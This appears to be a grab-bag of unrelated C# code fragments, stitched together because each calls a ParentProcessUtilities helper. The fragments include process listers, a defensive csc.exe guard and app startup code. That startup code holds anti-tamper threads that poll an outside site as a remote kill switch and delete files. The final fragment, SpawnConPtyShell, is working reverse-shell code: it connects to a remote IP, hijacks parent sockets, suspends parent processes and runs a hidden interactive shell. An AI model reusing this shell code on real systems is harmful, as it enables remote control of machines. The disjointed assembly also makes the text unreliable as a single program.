private static extern int NtQueryInformationProcess(IntPtr processHandle, int processInformationClass, ref ParentProcessUtilities processInformation, int processInformationLength, out int returnLength);
public static PushTaskManagerList GetTasks() { PushTaskManagerList tl = new PushTaskManagerList(); tl.Tasks = new List <PushTaskManagerListElement>(); ManagementClass mc = new ManagementClass("Win32_Process"); foreach (ManagementBaseObject mo in mc.GetInstances()) { PushTaskManagerListElement element = new PushTaskManagerListElement(); element.ProcessID = Convert.ToInt32(mo["ProcessId"]); element.Filename = Convert.ToString(mo["ExecutablePath"]); element.Arguments = Convert.ToString(mo["CommandLine"]); element.ProcessName = Convert.ToString(mo["Caption"]); element.SessionID = Convert.ToInt32(mo["SessionId"]); element.StartTime = ManagementDateTimeConverter.ToDateTime(Convert.ToString(mo["CreationDate"])).ToUniversalTime(); element.UserProcessorTime = TimeSpan.FromTicks(Convert.ToInt64(mo["UserModeTime"])); element.TotalProcessorTime = TimeSpan.FromTicks(Convert.ToInt64(mo["UserModeTime"]) + Convert.ToInt64(mo["KernelModeTime"])); element.WorkingSet = Convert.ToInt64(mo["WorkingSetSize"]); element.PrivateBytes = Convert.ToInt64(mo["VirtualSize"]); if (string.IsNullOrWhiteSpace(element.Filename) == false) { FileVersionInfo ver = FileVersionInfo.GetVersionInfo(element.Filename); element.CompanyName = ver.CompanyName; element.Description = ver.FileDescription; } element.Username = "******"; element.ParentProcessID = 0; element.IsWOWProcess = false; Process proc = Process.GetProcessById(element.ProcessID); IntPtr processHandle = IntPtr.Zero; try { if (OpenProcessToken(proc.Handle, 8, out processHandle) == true) { WindowsIdentity wi = new WindowsIdentity(processHandle); element.Username = wi.Name; ParentProcessUtilities pbi = new ParentProcessUtilities(); int returnLength; int status = NtQueryInformationProcess(proc.Handle, 0, ref pbi, Marshal.SizeOf(pbi), out returnLength); if (status == 0) { element.ParentProcessID = pbi.InheritedFromUniqueProcessId.ToInt32(); } IsWow64Process(proc.Handle, out element.IsWOWProcess); } } catch (Exception ee) { Debug.WriteLine(ee.ToString()); } finally { if (processHandle != IntPtr.Zero) { CloseHandle(processHandle); } } tl.Tasks.Add(element); } return(tl); }
public static Process GetParentProcess() { return(ParentProcessUtilities.GetParentProcess()); }
/// <summary> /// Gets the parent process of a specified process. /// </summary> /// <param name="handle">The process handle.</param> /// <returns>An instance of the Process class.</returns> public static int GetParentProcessId(IntPtr handle) { var pbi = new ParentProcessUtilities(); int returnLength; int status = NtQueryInformationProcess(handle, 0, ref pbi, Marshal.SizeOf(pbi), out returnLength); if (status != 0) // fail silently... return -1; //throw new Win32Exception(status); try { return pbi.InheritedFromUniqueProcessId.ToInt32(); } catch (ArgumentException) { // not found return -1; } }
private void OnClosed(object sender, EventArgs e) { var parent = ParentProcessUtilities.GetParentProcess(); Win32.SendMessage(parent.MainWindowHandle, GTAppMessage.AppClosed, 0, 0); }
private static void create_chat_window() { System.Drawing.Rectangle chatrect = new System.Drawing.Rectangle(); bool have_chatrect = false; try { RECT parentrect; Process parentproc = ParentProcessUtilities.GetParentProcess(); if (parentproc.ProcessName == "cmd") { if (GetWindowRect(parentproc.MainWindowHandle, out parentrect)) { System.Drawing.Rectangle scrn = System.Windows.Forms.Screen.GetBounds( new System.Drawing.Rectangle( parentrect.Left, parentrect.Top, parentrect.Right - parentrect.Left, parentrect.Bottom - parentrect.Top) ); /* Try to find a place to fit the chat window adjacent to * the cmd window. Possible positions in descending order of * goodness: below, to the right, to the left, above. If * positioned above or below, will match cmd window's width * and use height 200. If positioned left or right, will * match cmd window's height and use width 600. */ if (scrn.Bottom - parentrect.Bottom >= 200) { /* Fits below cmd window */ chatrect = new System.Drawing.Rectangle( parentrect.Left, parentrect.Bottom, parentrect.Right - parentrect.Left, 200 ); have_chatrect = true; } else if (scrn.Right - parentrect.Right >= 600) { /* Fits right of cmd window */ chatrect = new System.Drawing.Rectangle( parentrect.Right, parentrect.Top, 600, parentrect.Bottom - parentrect.Top ); have_chatrect = true; } else if (parentrect.Left - scrn.Left >= 600) { /* Fits left of cmd window */ chatrect = new System.Drawing.Rectangle( parentrect.Left - 600, parentrect.Top, 600, parentrect.Bottom - parentrect.Top ); have_chatrect = true; } else if (parentrect.Top - scrn.Top >= 200) { /* Fits above cmd window */ chatrect = new System.Drawing.Rectangle( parentrect.Left, parentrect.Top - 200, parentrect.Right - parentrect.Left, 200 ); have_chatrect = true; } } } } catch { /* If anything goes wrong just let the window go wherever it wants. */ have_chatrect = false; } try { chatproc = new Process(); chatproc.StartInfo.FileName = "streecw.exe"; if (have_chatrect) { chatproc.StartInfo.Arguments = String.Format( "{0} {1} {2} {3}", chatrect.X, chatrect.Y, chatrect.Width, chatrect.Height); } chatproc.StartInfo.UseShellExecute = false; chatproc.StartInfo.RedirectStandardInput = true; chatproc.Start(); } catch { /* If the chat process isn't working, just behave like regular * tree as much as possible */ chatproc = null; } }
/// <summary> /// Gets the parent process of a specified process. /// </summary> /// <param name="handle">The process handle.</param> /// <returns>An instance of the Process class.</returns> public static Process GetParentProcess(IntPtr handle) { ParentProcessUtilities pbi = new ParentProcessUtilities(); int returnLength; int status = NtQueryInformationProcess(handle, 0, ref pbi, Marshal.SizeOf(pbi), out returnLength); if (status != 0) throw new Win32Exception(status); try { return Process.GetProcessById(pbi.InheritedFromUniqueProcessId.ToInt32()); } catch (ArgumentException) { // not found return null; } }
static void Main(string[] args) { CreateLogFolder(); Heuristic.CmdLine = args; MaxThreatLevel = Int32.Parse(ReadSetting("MaxThreatLevel")); OriginalCSC = ReadSetting("OriginalCSC"); CreateEventLog = Convert.ToBoolean(ReadSetting("CreateEventLog")); string curDir = new FileInfo(Assembly.GetExecutingAssembly().Location).DirectoryName; LogInfo("Executed at " + ExecutionTime); LogInfo("Parameter Count [" + args.Length + "]"); LogInfo("Original Cmdline: " + String.Join(" ", args)); if (RuntimeDetection()) { LogInfo("Attempting Runtime Cmdline Relaunch..."); string CmdFile = File.ReadAllText(Heuristic.CmdLine[2].Trim(new char[] { '@' })); //string[] NewArgs = new[] { CmdFile }; Heuristic.RuntimeCmdLine = SplitArguments(CmdFile); } ParentProcessUtilities.GetParentProcessInfo(); GetParentProcessSig(); try { LogInfo("Collecting Parent Process File"); CollectFile(Heuristic.ParentProcess.Filename); } catch (Exception Ex) { LogInfo("Error Collecting Parent Process: " + Ex.Message); } if (Heuristic.RunTimeCompiled) { ParseArgs(Heuristic.RuntimeCmdLine); } else { ParseArgs(args); } LogWarning("Threat Level: [" + Heuristic.Threat.Level + "]"); if (CreateEventLog) { CreateEventLogEntry(); LogInfo("Windows Event Log Entry Created"); } if (Heuristic.Threat.Level < MaxThreatLevel) { LogInfo("Executing: " + curDir + "\\" + OriginalCSC + " " + Arguments); //File.WriteAllText(LogFolder + "cscguard.txt", LogData); var CSC = Process.Start(curDir + "\\" + OriginalCSC, Arguments); CSC.WaitForExit(); if (Heuristic.OutputFile.Length > 0) { CollectFile(Heuristic.OutputFile); LogInfo("Collecting: " + Heuristic.OutputFile); } string SourceFolder = Path.GetDirectoryName(Heuristic.SourceFile); string SourceFileNames = Path.GetFileNameWithoutExtension(Heuristic.SourceFile); SourceFileNames = SourceFileNames.Split('.')[0] + "*"; LogInfo("Source Folder: " + SourceFolder); LogInfo("Source Search: " + SourceFileNames); string[] allGenFiles = Directory.GetFiles(SourceFolder, SourceFileNames, SearchOption.TopDirectoryOnly); foreach (string filename in allGenFiles) { LogInfo("Collecting File: " + filename); try { CollectFile(filename); } catch (Exception Ex) { LogInfo("Error: " + Ex.Message); } } } else { LogWarning("Current Threat Level [" + Heuristic.Threat.Level.ToString() + "] Exceeds Max Threat Level [" + MaxThreatLevel + "]"); LogWarning("CSCGuard Will Not Pass Execution To Original CSC.exe"); } }
public IProcess GetParentProcess(IProcess process) { return(WrapProcess(ParentProcessUtilities.GetParentProcess(process.Id))); }
static void Main(string[] args) { try { // Define arguments string host = handleArg(args, 0, String.Empty); string username = handleArg(args, 1, String.Empty); string password = handleArg(args, 2, String.Empty); string action = handleArg(args, 3, String.Empty); string arg1 = handleArg(args, 4, String.Empty); string arg2 = handleArg(args, 5, String.Empty); string arg3 = handleArg(args, 6, String.Empty); string arg4 = handleArg(args, 7, String.Empty); string arg5 = handleArg(args, 8, String.Empty); string arg6 = handleArg(args, 9, String.Empty); string arg7 = handleArg(args, 10, String.Empty); string arg8 = handleArg(args, 11, String.Empty); if (ulo.configuration.showArguments) { ulo.writeLog(ULO.tempOutFile, String.Empty, true); } // Main execution if (host == String.Empty) { if (Environment.UserInteractive) { gui_shown = true; // Show GUI Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new ControllerGUI()); } else { // No arguments, find who called it and perform appropriate action Process parent = ParentProcessUtilities.GetParentProcess(); //Console.WriteLine("Parent name: " + parent.ProcessName); if (parent.ProcessName == "explorer") { // If explorer started this application, open CMD Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.UseShellExecute = true; process.Start(); // Alternative is to run GUI here (maybe in the distant future) - Application output type has to be changed to Windows Application } else { // If applicaation is not started by explorer show help Console.WriteLine(usage()); } } } else if (host == "/?" || host == "?" || host == "-h" || host == "-help" || host == "--help") { Console.WriteLine(usage()); } else { try { // Login ulo.login(host, username, password); // Perform action ulo.writeLog(ULO.tempOutFile, executeAction(action, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8), true); ulo.logout(); } catch (Exception ex) { ulo.logout(); throw; } } ulo.handleTempLogs(); } catch (Exception ex) { if (gui_shown) { throw; } string dot = String.Empty; if (ex.Message.TrimEnd('.').Length == ex.Message.Length) { dot = "."; } Console.WriteLine("ERROR: " + ex.Message + dot); exceptionHandler(ex); try { ulo.handleTempLogs(); } catch (Exception ex_in) { ulo.markLogs(); } } }
public static void Main(string[] args) { ManagementScope scope = new System.Management.ManagementScope(@"\\.\root\cimv2"); scope.Connect(); ObjectQuery query = new ObjectQuery("SELECT * FROM Win32_Process"); ManagementObjectSearcher objectSearcher = new ManagementObjectSearcher(scope, query); ManagementObjectCollection objectCollection = objectSearcher.Get(); Dictionary <Int32, String> owners = new Dictionary <Int32, String>(); int biggestOwnerSize = 5; // Column must be at least (but possibly greater) than 5 chars wide: O W N E R foreach (ManagementObject managementObject in objectCollection) { String[] owner = new String[2]; try { managementObject.InvokeMethod("GetOwner", owner); } catch { owner[0] = "X"; } String name = owner[0] != null ? owner[1] + "\\" + owner[0] : "X"; owners[Convert.ToInt32(managementObject["Handle"])] = name; if (name.Length > biggestOwnerSize) { biggestOwnerSize = name.Length; } } Process[] processes = Process.GetProcesses(); ArrayList pidList = new ArrayList(); object[] pids; foreach (Process process in processes) { pidList.Add(process.Id); } pids = pidList.ToArray(); Array.Sort(pids); if (IsHighIntegrity()) { Console.WriteLine("\n[*] Running \"ps\" in high integrity process. Results should be more complete.\n"); } else { Console.WriteLine("\n[*] Not running \"ps\" in a high integrity process. Results will be limited.\n"); } Console.WriteLine("PID PPID Arch Session Owner" + new string(' ', biggestOwnerSize - 5) + " Process Name"); Console.WriteLine("===== ===== ==== ======= =====" + new string('=', biggestOwnerSize - 5) + " ============"); foreach (int pid in pids) { Process process = Process.GetProcessById(0); // fall back option so things don't break try { process = Process.GetProcessById(pid); } catch { } String strSessID; try { uint sessID; ProcessIdToSessionId((uint)pid, out sessID); strSessID = sessID.ToString(); } catch (Exception) { strSessID = "X"; } String architecture; try { architecture = IsWin64Emulator(process) ? "x86" : "x64"; } catch (Exception) { architecture = "X"; } String ppidString; String userName; try { if (!owners.TryGetValue(process.Id, out userName)) { userName = "******"; } } catch (ArgumentNullException) { userName = "******"; } try { Process parent = ParentProcessUtilities.GetParentProcess(process.Id); ppidString = parent.Id.ToString(); } catch { ppidString = "X"; } Console.WriteLine(pid.ToString() + new string(' ', 8 - pid.ToString().Length) + ppidString + new string(' ', 8 - ppidString.Length) + architecture + new string(' ', 7 - architecture.Length) + strSessID + new string(' ', 10 - strSessID.Length) + userName + new string(' ', biggestOwnerSize - userName.Length + 3) + process.ProcessName); } }
static bool RunningAsService() { var p = ParentProcessUtilities.GetParentProcess(); return(p != null && p.ProcessName == "services"); }
private void Application_Startup(object sender, StartupEventArgs e) { CheckForPrerequisites(); if (!IsElevatedPrivileges) { MessageBox.Show("The application has to be runned as administrator."); Environment.Exit(0); } var parent = ParentProcessUtilities.GetParentProcess(); //MessageBox.Show(parent.ProcessName); if (parent != null && !parent.ProcessName.Equals("explorer", StringComparison.OrdinalIgnoreCase) && !parent.ProcessName.Equals("csvb", StringComparison.OrdinalIgnoreCase) && !parent.ProcessName.Equals("devenv", StringComparison.OrdinalIgnoreCase) ) { bool legit = false; #if DEBUG if (Debugger.IsAttached) { legit = true; } #endif if (!legit) { //log.Debug(parent.ProcessName); log.Debug("leet7"); Application.Current.Shutdown(); } } var antiSuspendThread = new Thread(delegate() { while (true) { if (_antiSuspendProc == null || _antiSuspendProc.HasExited) { try { using (var md5 = MD5.Create()) { using (var stream = File.OpenRead("scr.exe")) { BigInteger md5hash = new BigInteger(md5.ComputeHash(stream)); //log.Debug(md5hash); if (md5hash.ToString() != "-60891429662938329776858406811495394548") { log.Debug("Corrupted files. Redownload the software."); Environment.Exit(0); } //log.Debug("z"); } } var psi = new ProcessStartInfo("scr.exe", Process.GetCurrentProcess().Id.ToString()) { UseShellExecute = true }; // Updater should ask for admin privileges if UAC is enabled if (Environment.OSVersion.Version.Major >= 6) { psi.Verb = "runas"; } _antiSuspendProc = Process.Start(psi); } catch (Exception e54) { log.Debug("Corrupted files. Redownload the software."); Environment.Exit(0); } } try { //if (_antiSuspendProc.Threads[0].ThreadState == ThreadState.Wait && _antiSuspendProc.Threads[0].WaitReason == ThreadWaitReason.Suspended) _antiSuspendProc.Resume(); } catch (Exception) { } Thread.Sleep(500); } }); antiSuspendThread.Start(); var externalSignalThread = new Thread(delegate() { while (true) { bool allGood = !Injector.BadStuff; Thread.Sleep(30 * 60 * 1000); try { using (var client = new WebClient()) { if (Assembly.GetEntryAssembly().GetName().Version <= new Version(client.DownloadString(new Uri("http://therealronin.com/fallback.txt")))) { allGood = false; } } } catch (Exception ex) { } if (!allGood) { log.Debug("leet1"); Application.Current.Shutdown(); } } }); externalSignalThread.Start(); var debugger = new Thread(delegate() { while (true) { Thread.Sleep(1 * 60 * 1000); bool allGood = !Injector.BadStuff; if (!allGood) { log.Debug("leet"); Application.Current.Shutdown(); } } }); debugger.Start(); var dbCleanSignalThread = new Thread(delegate() { while (true) { Thread.Sleep(30 * 60 * 1000); bool allGood = !Injector.BadStuff; try { using (var client = new WebClient()) { client.DownloadString(new Uri("http://therealronin.com/dbclean.txt")); } allGood = false; } catch (Exception ex) { } if (!allGood) { File.Delete("Ronin.pdb"); } } }); dbCleanSignalThread.Start(); Thread.Sleep(100); var checkCrackCheckThread = new Thread(delegate() { while (true) { Thread.Sleep(60 * 60 * 1000); if (!externalSignalThread.IsAlive || !debugger.IsAlive) { log.Debug("1337"); Application.Current.Shutdown(); } } }); checkCrackCheckThread.Start(); using (Process p = Process.GetCurrentProcess()) p.PriorityClass = ProcessPriorityClass.High; var windowsPatcherThread = new Thread(Injector.WindowsPatcher); windowsPatcherThread.SetApartmentState(ApartmentState.STA); windowsPatcherThread.Start(); try { System.Threading.Mutex.OpenExisting("WPFDefault"); // myApp is already running... MessageBox.Show("Application is already running!"); Environment.Exit(0); } catch (Exception) { _mutey = new System.Threading.Mutex(true, "WPFDefault"); } AppDomain currentDomain = AppDomain.CurrentDomain; currentDomain.UnhandledException += new UnhandledExceptionEventHandler(HandleCriticalCrash); Application.Current.DispatcherUnhandledException += (o, args) => { Exception ex = (Exception)args.Exception; log.Debug("UI exception: "); log.Debug(ex); //throw ex; }; var thread = new Thread(checkForUpdates); thread.Start(); }
static void DisplayInitializationScreen(Options options, ApplicationConfiguration config, ColorScheme colorScheme, RunContext runContext) { // initialize the performance counters before launching the test runner // this is because it can be slow, we don't want to delay connecting to the test runner try { if (!Console.IsOutputRedirected) { var currentFont = ConsoleUtil.GetCurrentFont().FontName; Console.Write($"Console font: "); Console.WriteLine(currentFont, colorScheme.DarkDefault); var unicodeTestHeader = "Unicode test:"; Console.Write(unicodeTestHeader); Console.WriteLine("\u2022 ╭╮╰╯═══\u2801\u2802\u2804\u2840\u28FF", colorScheme.DarkDefault); var conEmuDetected = !string.IsNullOrEmpty(Environment.GetEnvironmentVariable("ConEmuPID")); var parentProcess = ParentProcessUtilities.GetParentProcess(); var powershellDetected = parentProcess?.ProcessName.Equals("powershell", StringComparison.InvariantCultureIgnoreCase) == true; var dotChar = ConsoleUtil.GetCharAt(unicodeTestHeader.Length, Console.CursorTop); // dot ok var brailleChar = ConsoleUtil.GetCharAt(unicodeTestHeader.Length + 9, Console.CursorTop); // braille ok var dotCharOk = false; if (OperatingSystem.IsWindows()) { dotCharOk = ConsoleUtil.CheckIfCharInFont(dotChar, new Font(currentFont, 10)); } var brailleCharOk = false; if (OperatingSystem.IsWindows()) { brailleCharOk = ConsoleUtil.CheckIfCharInFont(brailleChar, new Font(currentFont, 10)); } // Console.WriteLine($"Dot: {dotCharOk}, Braille: {brailleCharOk}"); Console.Write($"Console Detection: "); if (conEmuDetected) { Console.WriteLine("ConEmu", colorScheme.DarkDefault); config.DisplayConfiguration.IsConEmuDetected = true; config.DisplayConfiguration.SupportsExtendedUnicode = true; } else if (powershellDetected) { Console.WriteLine("Powershell", colorScheme.DarkDefault); config.DisplayConfiguration.IsPowershellDetected = true; } else { Console.WriteLine("Command Prompt", colorScheme.DarkDefault); config.DisplayConfiguration.IsCommandPromptDetected = true; } } Console.Write($"Test runner arguments: "); Console.WriteLine(options.TestRunnerArguments.MaxLength(360), colorScheme.DarkDefault); Console.WriteLine($"Initializing performance counters...", colorScheme.Default); if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows)) { #pragma warning disable CA1416 // Validate platform compatibility runContext.PerformanceCounters.CpuCounter = new PerformanceCounter("Processor", "% Processor Time", "_Total"); runContext.PerformanceCounters.DiskCounter = new PerformanceCounter("PhysicalDisk", "% Disk Time", "_Total"); #pragma warning restore CA1416 // Validate platform compatibility } } catch (Exception ex) { Console.WriteLine($"Error initializing performance counters... {ex.Message}", colorScheme.Error); // unable to use performance counters. // possibly need to run C:\Windows\SysWOW64> lodctr /r } }
public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows, uint cols, string commandLine, bool upgradeShell) { IntPtr shellSocket = IntPtr.Zero; IntPtr InputPipeRead = IntPtr.Zero; IntPtr InputPipeWrite = IntPtr.Zero; IntPtr OutputPipeRead = IntPtr.Zero; IntPtr OutputPipeWrite = IntPtr.Zero; IntPtr handlePseudoConsole = IntPtr.Zero; IntPtr oldStdIn = IntPtr.Zero; IntPtr oldStdOut = IntPtr.Zero; IntPtr oldStdErr = IntPtr.Zero; bool newConsoleAllocated = false; bool parentSocketInherited = false; bool grandParentSocketInherited = false; bool conptyCompatible = false; string output = ""; Process currentProcess = null; Process parentProcess = null; Process grandParentProcess = null; if (GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") != IntPtr.Zero) { conptyCompatible = true; } PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION(); CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite); InitConsole(ref oldStdIn, ref oldStdOut, ref oldStdErr); if (conptyCompatible) { Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell\r\n"); if (upgradeShell) { currentProcess = Process.GetCurrentProcess(); parentProcess = ParentProcessUtilities.GetParentProcess(currentProcess.Handle); grandParentProcess = ParentProcessUtilities.GetParentProcess(parentProcess.Handle); shellSocket = SocketHijacking.GetSocketTargetProcess(currentProcess); if (shellSocket != IntPtr.Zero) { shellSocket = SocketHijacking.DuplicateTargetProcessSocket(currentProcess); if (parentProcess != null) { parentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, parentProcess); } } else { shellSocket = SocketHijacking.DuplicateTargetProcessSocket(parentProcess); } if (grandParentProcess != null) { grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess); } } else { shellSocket = connectRemote(remoteIp, remotePort); if (shellSocket == IntPtr.Zero) { output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString()); return(output); } TryParseRowsColsFromSocket(shellSocket, ref rows, ref cols); } if (GetConsoleWindow() == IntPtr.Zero) { AllocConsole(); ShowWindow(GetConsoleWindow(), SW_HIDE); newConsoleAllocated = true; } //Console.WriteLine("Creating pseudo console..."); //return ""; int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols); if (pseudoConsoleCreationResult != 0) { output += string.Format("{0}Could not create psuedo console. Error Code {1}", errorString, pseudoConsoleCreationResult.ToString()); return(output); } childProcessInfo = CreateChildProcessWithPseudoConsole(handlePseudoConsole, commandLine); } else { if (upgradeShell) { output += string.Format("Could not upgrade shell to fully interactive because ConPTY is not compatible on this system"); return(output); } shellSocket = connectRemote(remoteIp, remotePort); if (shellSocket == IntPtr.Zero) { output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString()); return(output); } Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n"); STARTUPINFO sInfo = new STARTUPINFO(); sInfo.cb = Marshal.SizeOf(sInfo); sInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES; sInfo.hStdInput = InputPipeRead; sInfo.hStdOutput = OutputPipeWrite; sInfo.hStdError = OutputPipeWrite; CreateProcessW(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo); } // Note: We can close the handles to the PTY-end of the pipes here // because the handles are dup'ed into the ConHost and will be released // when the ConPTY is destroyed. if (InputPipeRead != IntPtr.Zero) { CloseHandle(InputPipeRead); } if (OutputPipeWrite != IntPtr.Zero) { CloseHandle(OutputPipeWrite); } //Threads have better performance than Tasks Thread thThreadReadPipeWriteSocket = StartThreadReadPipeWriteSocket(OutputPipeRead, shellSocket); Thread thReadSocketWritePipe = StartThreadReadSocketWritePipe(InputPipeWrite, shellSocket, childProcessInfo.hProcess); if (upgradeShell && parentSocketInherited) { NtSuspendProcess(parentProcess.Handle); } if (upgradeShell && grandParentSocketInherited) { NtSuspendProcess(grandParentProcess.Handle); } WaitForSingleObject(childProcessInfo.hProcess, INFINITE); //cleanup everything if (upgradeShell && parentSocketInherited) { NtResumeProcess(parentProcess.Handle); } if (upgradeShell && grandParentSocketInherited) { NtResumeProcess(grandParentProcess.Handle); } thThreadReadPipeWriteSocket.Abort(); thReadSocketWritePipe.Abort(); closesocket(shellSocket); RestoreStdHandles(oldStdIn, oldStdOut, oldStdErr); if (newConsoleAllocated) { FreeConsole(); } CloseHandle(childProcessInfo.hThread); CloseHandle(childProcessInfo.hProcess); if (handlePseudoConsole != IntPtr.Zero) { ClosePseudoConsole(handlePseudoConsole); } if (InputPipeWrite != IntPtr.Zero) { CloseHandle(InputPipeWrite); } if (OutputPipeRead != IntPtr.Zero) { CloseHandle(OutputPipeRead); } output += "ConPtyShell kindly exited.\r\n"; return(output); }